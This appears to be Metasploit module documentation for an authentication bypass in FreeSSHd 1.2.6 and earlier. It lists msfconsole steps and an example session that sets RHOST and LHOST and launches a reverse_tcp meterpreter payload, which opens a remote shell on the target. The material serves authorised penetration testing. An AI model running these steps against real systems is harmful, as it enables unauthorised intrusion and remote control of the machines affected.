Description

This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass authentication. You just need the username (which defaults to root). The exploit has been tested with both password and public key authentication.

Verification

  1. Start msfconsole

  2. Do : use exploit/windows/ssh/freesshd_authbypass

  3. Do : set RHOST [target IP]

  4. Do : set PAYLOAD [valid windows payload] if you want to use other payloads (windows/meterpreter/reverse_tcp by default)

  5. Do : set LHOST [Your IP]

  6. Do : set LPORT [valid port] (port is 4444 by default)

  7. Do : exploit

  8. If target is vulnerable, a shell (meterpreter by default) should pop

Example with default payload (windows/meterpreter/reverse_tcp)

msf > use exploit/windows/ssh/freesshd_authbypass
msf exploit(windows/ssh/freesshd_authbypass) > set RHOST 192.168.80.131
RHOST => 192.168.80.131
msf exploit(windows/ssh/freesshd_authbypass) > set LHOST 192.168.80.138
LHOST => 192.168.80.138
msf exploit(windows/ssh/freesshd_authbypass) > exploit
